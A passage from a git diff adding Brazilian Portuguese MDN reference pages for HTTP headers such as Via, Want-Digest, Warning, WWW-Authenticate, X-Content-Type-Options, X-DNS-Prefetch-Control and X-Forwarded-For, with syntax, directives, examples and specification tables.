<pseudonym> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><protocol-name></dt> + <dd>Opcional. O nome do protocolo usado, como "HTTP".</dd> + <dt><protocol-version></dt> + <dd>A versão do protocolo usado, como "1.1".</dd> + <dt><host> e <port></dt> + <dd>URL pública do proxy e sua porta.</dd> + <dt><pseudonym></dt> + <dd>Nome/pseudônimo de um proxy interno.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">Via: 1.1 vegur +Via: HTTP/1.1 GWA +Via: 1.0 fred, 1.1 p.example.net +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7230", "Via", "5.7.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Via")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("X-Forwarded-For")}}</li> + <li><a href="https://github.com/heroku/vegur">Biblioteca proxy Vegur do Heroku</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/want-digest/index.html b/files/pt-br/web/http/headers/want-digest/index.html new file mode 100644 index 0000000000..23be9b98ff --- /dev/null +++ b/files/pt-br/web/http/headers/want-digest/index.html @@ -0,0 +1,129 @@ +--- +title: Want-Digest +slug: Web/HTTP/Headers/Want-Digest +tags: + - Cabeçalho HTTP + - HTTP +translation_of: Web/HTTP/Headers/Want-Digest +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho HTTP <code><strong>Want-Digest</strong></code> é primordialmente usado em uma requisição HTTP, para pedir ao respondedor para prover uma digestão ({{Glossary("digest")}}) do recurso requisitado usando o cabeçalho de resposta <code><a href="/en-US/docs/Web/HTTP/Headers/Digest">Digest</a></code>.</p> + +<p>O cabeçalho contém identificadores para um ou mais algoritmos de digestão que o remetente deseja que o respondedor use para criar a digestão. O remetente pode usar <a href="/en-US/docs/Glossary/Quality_values">valores de qualidade</a> para indicar sua preferência ordenando dentre as escolhas que ele oferece.</p> + +<p>Se <code>Want-Digest</code> não inclui nenhum algoritmo de digestão que aquele servidor suporta, o servidor pode responder com:</p> + +<ul> + <li>uma digestão calculada usando outro algoritmo de digestão, ou</li> + <li>um erro <code><a href="/en-US/docs/Web/HTTP/Status/400">400 Bad Request</a></code>, e inclui outro cabeçalho <code>Want-Digest</code> com a resposta, listando os algoritmos que ele suporta.</li> +</ul> + +<p>Veja a página do cabeçalho <code><a href="/en-US/docs/Web/HTTP/Headers/Digest">Digest</a></code> para mais informações.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Want-Digest: <digest-algorithm> + +// Múltiplos algoritmos, pesados com a sintaxe de qualidade de valor: +Want-Digest: <digest-algorithm><q-value>,<digest-algorithm><q-value></pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code><digest-algorithm></code></dt> + <dd>Algoritmos de digestão suportados são definidos na <a href="https://tools.ietf.org/html/rfc3230">RFC 3230</a> e <a href="https://tools.ietf.org/html/rfc5843">RFC 5843</a>, e inclui <code>SHA-256</code> e <code>SHA-512</code>. Alguns algoritmos suportados, incluindo <code>unixsum</code> e <code>MD5</code> são sujeitos a colisões e não são apropriados para aplicações em que resistência à colisão é importante.</dd> + <dt><code><q-value></code></dt> + <dd>O <a href="/en-US/docs/Glossary/Quality_values">valor de qualidade</a> para aplicar aquela opção.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="syntaxbox notranslate">Want-Digest: sha-256 +Want-Digest: SHA-512;q=0.3, sha-256;q=1, md5;q=0</pre> + +<h3 id="Operação_básica">Operação básica</h3> + +<p>O remetente provém a lista de digestões que ele está preparado para aceitar, e o servidor usa um deles:</p> + +<pre class="notranslate">Request: + + GET /item + Want-Digest: sha-256;q=0.3, sha;q=1 + +Response: + + HTTP/1.1 200 Ok + Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=</pre> + +<h3 id="Digestões_não_suportadas">Digestões não suportadas</h3> + +<p>O servidor não suporta nenhum do algoritmos de digestão requisitados, então ele usa um algoritmo diferente:</p> + +<pre class="notranslate">Request: + + GET /item + Want-Digest: sha;q=1 + +Response: + + HTTP/1.1 200 Ok + Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=</pre> + +<p>O servidor não suporta nenhuma dos algoritmos de digestão requisitados, então responde com um erro 400 e inclui outro cabeçalho <code>Want-Digest</code>, listando os algoritmos que ele suporta:</p> + +<pre class="notranslate">Request: + + GET /item + Want-Digest: sha;q=1 + +Response: + + HTTP/1.1 400 Bad Request + Want-Digest: sha-256, sha-512</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td> + <p><a class="smpl" href="https://datatracker.ietf.org/doc/draft-ietf-httpbis-digest-headers">draft-ietf-httpbis-digest-headers-latest</a></p> + </td> + <td>Resource Digests for HTTP</td> + </tr> + </tbody> +</table> + +<p>Este cabeçalho foi originalmente definido na <a href="https://tools.ietf.org/html/rfc3230">RFC 3230</a>, mas a definição de "representação selecionada" na <a href="https://www.rfc-editor.org/info/rfc7231">RFC 7231</a> fez a definição original ficar inconsistente com as atuais especificações HTTP. Quando lançado, o rascunho "Digestões de Recursos para HTTP" tornará a RFC 3230 obsoleta e vai atualizar o padrão para ficar consistente.</p> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Want-Digest")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Digest")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/warning/index.html b/files/pt-br/web/http/headers/warning/index.html new file mode 100644 index 0000000000..f37f345db6 --- /dev/null +++ b/files/pt-br/web/http/headers/warning/index.html @@ -0,0 +1,146 @@ +--- +title: Warning +slug: Web/HTTP/Headers/Warning +tags: + - Cabeçalho Geral + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Warning +--- +<div>{{HTTPSidebar}}</div> + +<div class="blockIndicator note"> +<p><strong>Nota</strong>: O cabeçalho <code>Warning</code> será depreciado em breve; veja <a href="https://github.com/httpwg/http-core/issues/139">Warning (https://github.com/httpwg/http-core/issues/139)</a> e <a href="https://github.com/whatwg/fetch/issues/913">Warning: header & stale-while-revalidate (https://github.com/whatwg/fetch/issues/913)</a> para mais detalhes.</p> +</div> + +<p>O cabeçalho geral HTTP <strong><code>Warning</code></strong> contém informação sobre possíveis problemas com o status da mensagem. Mais de um cabeçalho <code>Warning</code> pode aparecer na resposta.</p> + +<p>O cabeçalho <code>Warning</code> geralmente pode ser aplicado para qualquer mensagem, entretanto alguns códigos de aviso são específicos para caches e podem somente ser aplicados para mensagens de resposta.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalhos</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Warning: <warn-code> <warn-agent> <warn-text> [<warn-date>] +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><warn-code></dt> + <dd>Um número de aviso de três dígitos. O primeiro dígito indica se é necessário o <code>Warning</code> ser deletado de uma resposta guardada depois da validação. + <ul> + <li>Códigos de aviso <code>1xx</code> descrevem o frescor ou status de validação da resposta e será deletado por um cache depois da deleção.</li> + <li> + <p>Códigos de aviso <code>2xx</code> descrevem algum aspecto da representação que não é retificada por uma validação e não será deletado por uma cache depois da validação a não que a resposta completa seja enviada.</p> + </li> + </ul> + </dd> + <dt><warn-agent></dt> + <dd> + <p>O nome ou pseudônimo do servidor ou software adicionando o cabeçalho <code>Warning</code> (pode ser "-" quando o agente não é conhecido).</p> + </dd> + <dt><warn-text></dt> + <dd>Texto consultivo descrevendo o erro.</dd> + <dt><warn-date></dt> + <dd>Opcional. Se mais de um cabeçalho <code>Warning</code> é enviado, inclui a data que corresponde com o cabeçalho {{HTTPHeader("Date")}}.</dd> +</dl> + +<h2 id="Códigos_de_aviso_Warning">Códigos de aviso (Warning)</h2> + +<p>O <a href="http://www.iana.org/assignments/http-warn-codes/http-warn-codes.xhtml">registro de Códigos de Aviso HTTP em iana.org</a> define o espaço de nomes para códigos de aviso.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Código</th> + <th scope="col">Texto</th> + <th scope="col">Descrição</th> + </tr> + </thead> + <tbody> + <tr> + <td>110</td> + <td>Resposta está velha</td> + <td>A resposta provida pela cache está velha (o tempo de expiração já passou).</td> + </tr> + <tr> + <td>111</td> + <td>Revalidação falhou</td> + <td>Uma tentaiva de validar a resposta falhou, por causa da impossibilidade de alcançar o servidor.</td> + </tr> + <tr> + <td>112</td> + <td>Operação Desconectou</td> + <td>O cache desconectou do resto da rede.</td> + </tr> + <tr> + <td>113</td> + <td>Expiração Heurística</td> + <td>Enviado se a cache escolhe heuristicamente um tempo de vida fresco maior que 24 horas e a idade da resposta é maior que 24 horas.</td> + </tr> + <tr> + <td>199</td> + <td>Aviso diverso</td> + <td>Arbitrário, aviso não específico.</td> + </tr> + <tr> + <td>214</td> + <td>Transformação aplicada</td> + <td>Adicionado por um proxy se ele aplica qualquer transformação na representação, como mudar a codificação de conteúdo, tipo de media ou semelhante.</td> + </tr> + <tr> + <td>299</td> + <td>Aviso diverso persistente</td> + <td>O mesmo que 199, mas indicando um aviso persistente.</td> + </tr> + </tbody> +</table> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">Warning: 110 anderson/1.3.37 "Response is stale" + +Date: Wed, 21 Oct 2015 07:28:00 GMT +Warning: 112 - "cache down" "Wed, 21 Oct 2015 07:28:00 GMT" +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7234", "Warning", "5.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Warning")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Date")}}</li> + <li><a href="/en-US/docs/Web/HTTP/Status">Código de resposta de status HTTP</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/www-authenticate/index.html b/files/pt-br/web/http/headers/www-authenticate/index.html new file mode 100644 index 0000000000..555854a43d --- /dev/null +++ b/files/pt-br/web/http/headers/www-authenticate/index.html @@ -0,0 +1,93 @@ +--- +title: WWW-Authenticate +slug: Web/HTTP/Headers/WWW-Authenticate +tags: + - Cabeçalho HTTP + - Cabeçalho de Resposta + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/WWW-Authenticate +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho da resposta HTTP <strong><code>WWW-Authenticate</code></strong> define o método de autenticação a ser usado para obter acesso ao recurso.</p> + +<p>O cabeçalho <code>WWW-Authenticate</code> é enviado junto a resposta {{HTTPStatus("401")}} <code>Unauthorized</code>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">WWW-Authenticate: <type> realm=<realm> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><type></dt> + <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo de autenticação.</a> Um tipo comum de autenticação é <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. IANA mantém uma <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">lista de esquema de autenticação</a>.</dd> + <dt>realm=<realm></dt> + <dd>Uma descrição da área protegida. Se nenhuma área for informada, os clientes frequentemente exibirão um hostname formatado.</dd> + <dt>charset=<charset></dt> + <dd>Informa ao cliente qual é o encoding do servidor quando for submetido usuário e senha. O único valor permitido é "UTF-8". Isso não está relacionado ao encoding da realm string.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Tipicamente, uma resposta do servidor contém um cabeçalho <code>WWW-Authenticate</code> que se parece com isso:</p> + +<pre class="notranslate">WWW-Authenticate: Basic + +WWW-Authenticate: Basic realm="Access to the staging site", charset="UTF-8" +</pre> + +<p>Veja também <a href="/en-US/docs/Web/HTTP/Authentication">autenticação HTTP</a> para exemplos em como configurar servidores Apache ou nginx para proteger seu site com senha usando autenticação básica HTTP.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7235", "WWW-Authenticate", "4.1")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.WWW-Authenticate")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">Autenticação HTTP</a></li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/x-content-type-options/index.html b/files/pt-br/web/http/headers/x-content-type-options/index.html new file mode 100644 index 0000000000..e9abb3793b --- /dev/null +++ b/files/pt-br/web/http/headers/x-content-type-options/index.html @@ -0,0 +1,83 @@ +--- +title: X-Content-Type-Options +slug: Web/HTTP/Headers/X-Content-Type-Options +tags: + - HTTP + - Headers HTTP + - Headers de Resposta + - Referencia +translation_of: Web/HTTP/Headers/X-Content-Type-Options +--- +<div>{{HTTPSidebar}}</div> + +<p>O header de resposta HTTP <strong>X-Content-Type-Options</strong> é um marcador usado pelo servidor para indicar que os <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a> enviados pelos headers {{HTTPHeader("Content-Type")}} não devem ser alterados e seguidos. Isto permite que o usuário opte por não participar do chamado <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">MIME Type Sniffing</a> ou, em outras palavras, é uma forma de dizer que os webmasters estão vendo o que você está fazendo.</p> + +<p>Este header foi incluído pela Microsoft no IE 8 como uma maneira de webmasters serem capazes de bloquear o <em>sniffing</em> de conteúdo que acontecia na época, e podia transformar tipos MIME não executáveis em tipos executáveis. Desde então, outros browsers acataram a ideia mesmo que seus algoritmos de definição de MIME fossem menos agressivos.</p> + +<p>Experts em segurança da informação geralmente esperam que este header esteja presente.</p> + +<p class="note">Nota: <code>nosniff</code> só se aplica para tipos "script" e "style". Também, aplicar <code>nosniff</code> em tipos de imagem provou-se ser <a href="https://github.com/whatwg/fetch/issues/395">incompatível com sites existentes</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo do header</th> + <td>{{Glossary("Header de resposta")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Alteração de nome proibida")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">X-Content-Type-Options: nosniff +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>nosniff</code></dt> + <dd>Bloqueia uma requisição se o tipo for: + <ul> + <li>"<code>style</code>" e o tipo MIME não é "<code>text/css</code>", ou</li> + <li>"<code>script</code>" e o tipo MIME não é um tipo <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript</a>.</li> + </ul> + </dd> +</dl> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + <tr> + <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Definição inicial</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.X-Content-Type-Options")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>A <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">definição original</a> do X-Content-Type-Options pela Microsoft.</li> + <li>A ferramenta <a href="https://mozilla.github.io/http-observatory-website/">Mozilla Observatory</a> testando a configuração (incluindo este header) de páginas por segurança e precaução.</li> + <li> + <p><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Mitigando ataques de confusão de MIME no Firefox</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/x-dns-prefetch-control/index.html b/files/pt-br/web/http/headers/x-dns-prefetch-control/index.html new file mode 100644 index 0000000000..3a15ab7f80 --- /dev/null +++ b/files/pt-br/web/http/headers/x-dns-prefetch-control/index.html @@ -0,0 +1,101 @@ +--- +title: X-DNS-Prefetch-Control +slug: Web/HTTP/Headers/X-DNS-Prefetch-Control +tags: + - DNS + - HTTP + - Prefetch-Control + - X-DNS-Prefetch-Control +translation_of: Web/HTTP/Headers/X-DNS-Prefetch-Control +--- +<div>{{HTTPSidebar}}</div> + +<div> O cabeçalho de resposta HTTP <strong><code>X-DNS-Prefetch-Control</code></strong> controla a pré-busca de DNS, um recurso pelo qual os navegadores realizam proativamente a resolução de nomes de domínio em ambos os links que o usuário pode escolher, além de URLs para itens referenciados pelo documento, incluindo imagens , CSS, JavaScript e assim por diante.</div> + +<div> </div> + +<p>Essa pré-busca é realizada em segundo plano, de forma que o {{glossary ("DNS")}} provavelmente tenha sido resolvido quando os itens referenciados forem necessários. Isso reduz a latência quando o usuário clica em um link.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">X-DNS-Prefetch-Control: on +X-DNS-Prefetch-Control: off +</pre> + +<h3 id="Diretrivas">Diretrivas</h3> + +<dl> + <dt>on</dt> + <dd>Ativar pré-busca de DNS. Isso é o que os navegadores fazem, se eles suportam o recurso, quando esse cabeçalho não está presente.</dd> + <dt>off</dt> + <dd>Desativa a pré-busca de DNS. Isso é útil se você não controla o link nas páginas ou sabe que não deseja vazar informações para esses domínios.</dd> +</dl> + +<h2 id="Descrição">Descrição</h2> + +<p>As solicitações de DNS são muito pequenas em termos de largura de banda, mas a latência pode ser bastante alta, especialmente em redes móveis. Por meio da pré-busca especulativa de resultados de DNS, a latência pode ser reduzida significativamente em determinados momentos, como quando o usuário clica no link. Em alguns casos, a latência pode ser reduzida em um segundo.</p> + +<p>A implementação desta pré-busca em alguns navegadores permite que a resolução de nomes de domínio ocorra em paralelo com (em vez de em série com) a busca do conteúdo real da página. Ao fazer isso, o processo de resolução de nome de domínio de alta latência não causa atrasos ao buscar conteúdo.</p> + +<p>Os tempos de carregamento de páginas - especialmente em redes móveis - podem ser melhorados dessa maneira. Se os nomes de domínio para imagens puderem ser resolvidos antes das imagens serem solicitadas, as páginas que carregarem muitas imagens poderão ver uma melhoria de 5% ou mais no tempo de carregamento das imagens.</p> + +<h3 id="Configurando_a_Pré-busca_no_Navegador">Configurando a Pré-busca no Navegador</h3> + +<p>Em geral, você não precisa fazer nada para gerenciar a pré-busca. No entanto, o usuário pode querer desabilitar a pré-busca. No Firefox, isso pode ser feito configurando a preferência <code>network.dns.disablePrefetch</code> como <code>true</code>.</p> + +<p>Além disso, por padrão, a pré-busca de nomes de host de link incorporado não é executada em documentos carregados em {{glossary ("HTTPS")}}. No Firefox, isso pode ser alterado configurando a preferência <code>network.dns.disablePrefetchFromHTTPS</code> como <code>false</code>.</p> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Ativando_e_desativando_a_pré-busca">Ativando e desativando a pré-busca</h3> + +<p>Você pode enviar o cabeçalho do lado do servidor X-DNS-Prefetch-Control ou de documentos individuais, usando o atributo {{htmlattrxref ("http-equiv", "meta")}} no {{HTMLElement ("meta" )}} elemento, assim:</p> + +<pre class="brush: html"><meta http-equiv="x-dns-prefetch-control" content="off"> +</pre> + +<p> </p> + +<p>Você pode reverter essa configuração configurando o <code>content</code> como "<code>on</code>".</p> + +<h3 id="Forçando_a_procura_de_nomes_de_host_específicos">Forçando a procura de nomes de host específicos</h3> + +<p>Você pode forçar a pesquisa de nomes de host específicos sem fornecer âncoras específicas usando esse nome de host com o uso de {{htmlattrxref ("rel", "link")}} no elemento {{HTMLElement ("link")}} com um tipo de link de <code>dns-prefetch</code>:</p> + +<pre class="brush: html"><link rel="dns-prefetch" href="http://www.spreadfirefox.com/"> +</pre> + +<p>Neste exemplo, o nome de domínio "<a href="http://www.spreadfirefox.com/" title="Linkification: http://www.spreadfirefox.com">www.spreadfirefox.com</a>" será pré-resolvido.</p> + +<p>Da mesma forma, o elemento de link pode ser usado para resolver nomes de host sem fornecer uma URL completa, mas apenas, precedendo o nome do host com duas barras:</p> + +<pre class="brush: html"><link rel="dns-prefetch" href="//www.spreadfirefox.com"> +</pre> + +<p>Pré-busca forçada de nomes de host pode ser útil, por exemplo, na página inicial de um site para forçar a pré-resolução de nomes de domínio que são referenciados com frequência em todo o site, mesmo que eles não sejam usados na própria home page. Isso melhorará o desempenho geral do site, mesmo que o desempenho da página inicial não seja afetado.</p> + +<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2> + +<div class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, confira https://github.com/mdn/browser-compat-data e envie-nos uma solicitação de recebimento.</div> + +<p>{{Compat("http.headers.X-DNS-Prefetch-Control")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a class="external" href="http://bitsup.blogspot.com/2008/11/dns-prefetching-for-firefox.html">DNS Prefetching for Firefox (blog post)</a></li> + <li><a class="external" href="http://dev.chromium.org/developers/design-documents/dns-prefetching">Google Chrome handles DNS prefetching control</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/x-forwarded-for/index.html b/files/pt-br/web/http/headers/x-forwarded-for/index.html new file mode 100644 index 0000000000..bb22d31a84 --- /dev/null +++ b/files/pt-br/web/http/headers/x-forwarded-for/index.html @@ -0,0 +1,81 @@ +--- +title: X-Forwarded-For +slug: Web/HTTP/Headers/X-Forwarded-For +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Não padronizado + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/X-Forwarded-For +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <strong><code>X-Forwarded-For</code></strong> (XFF) é de fato um cabeçalho padrão para identificar o endereço de IP original de um cliente conectando a um servidor web através de um proxy HTTP ou um balenceador de carga. Quando tráfego específico é interceptado entre clientes e servidores, <em>logs</em> de acesso do servidor contém o endereço IP do proxy ou balanceador de carga somente. Para ver o endereço IP original do cliente, o cabeçalho de requisição <code>X-Forwarded-For</code> é utilizado.</p> + +<p>Este cabeçalho é utilizado para depuração, estatísticas, e gerar conteúdo dependente localmente e por design ele expõe informações privadas sensíveis, como o endereço IP do cliente. Então a privacidade do usuário deve estar em mente quando utilizando este cabeçalho.</p> + +<p>Uma versão padronizada deste cabeçalho é o cabeçalho HTTP {{HTTPHeader("Forwarded")}}.</p> + +<p><code>X-Forwarded-For</code> é também um cabeçalho de email indicando que uma mensagem de email foi redirecionada para outra conta.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">X-Forwarded-For: <client>, <proxy1>, <proxy2> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><client></dt> + <dd>O endereço de IP do cliente.</dd> + <dt><proxy1>, <proxy2></dt> + <dd>Se a requisição atravessa múltiplos proxies, os endereços IP de cada proxy sucessivo são listados. Isto significa, o endereço IP mais a direita é o endereço IP mais do proxy mais recente, e o endereço IP mais a esquerda é o endereço IP originário do cliente.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348 + +X-Forwarded-For: 203.0.113.195 + +X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178 +</pre> + +<p>Outras formas não padronizadas:</p> + +<pre class="notranslate"># Usado por alguns serviços da Google +X-ProxyUser-Ip: 203.0.113.19</pre> + +<h2 id="Especificações">Especificações</h2> + +<p>Não pertence a nenhuma especificação atualmente. A versão padronizada do cabeçalho é {{HTTPHeader("Forwarded")}}.</p> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.X-Forwarded-For")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> + <li>{{HTTPHeader("Via")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/x-forwarded-host/index.html b/files/pt-br/web/http/headers/x-forwarded-host/index.html new file mode 100644 index 0000000000..f394616a02 --- /dev/null +++ b/files/pt-br/web/http/headers/x-forwarded-host/index.html @@ -0,0 +1,70 @@ +--- +title: X-Forwarded-Host +slug: Web/HTTP/Headers/X-Forwarded-Host +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Não padronizado + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/X-Forwarded-Host +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho <strong><code>X-Forwarded-Host</code></strong> (XFH) é um cabeçalho padrão de fato para identificar o <em>host</em> original requisitado pelo cliente no cabeçalho de requisição HTTP {{HTTPHeader("Host")}}.</p> + +<p>Nomes de <em>hosts </em>e portes de proxies reversos (balanceadores de carga, CDNs) pode diferir do servidor de origem que manipula a solicitação, neste caso o cabeçalho <code>X-Forwarded-Host</code> é útil para determinar qual Host foi originalmente utilizado.</p> + +<p>Este cabeçalho é utilizado para depuração, estatísticas, e gerar conteúdo dependente localmente e por design ele expõe informações privadas sensíveis, como o endereço IP do cliente. Então a privacidade do usuário deve estar em mente quando utilizando este cabeçalho.</p> + +<p>Uma versão padronizada deste cabeçalho é o cabeçalho HTTP {{HTTPHeader("Forwarded")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">X-Forwarded-Host: <host> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><host></dt> + <dd>O nome do domínio do servidor encaminhado.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">X-Forwarded-Host: id42.example-cdn.com +</pre> + +<h2 id="Especificações">Especificações</h2> + +<p>Não pertence a nenhuma especificação atualmente. A versão padronizada do cabeçalho é {{HTTPHeader("Forwarded")}}.</p> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.X-Forwarded-Host")}}</p> + +<h2 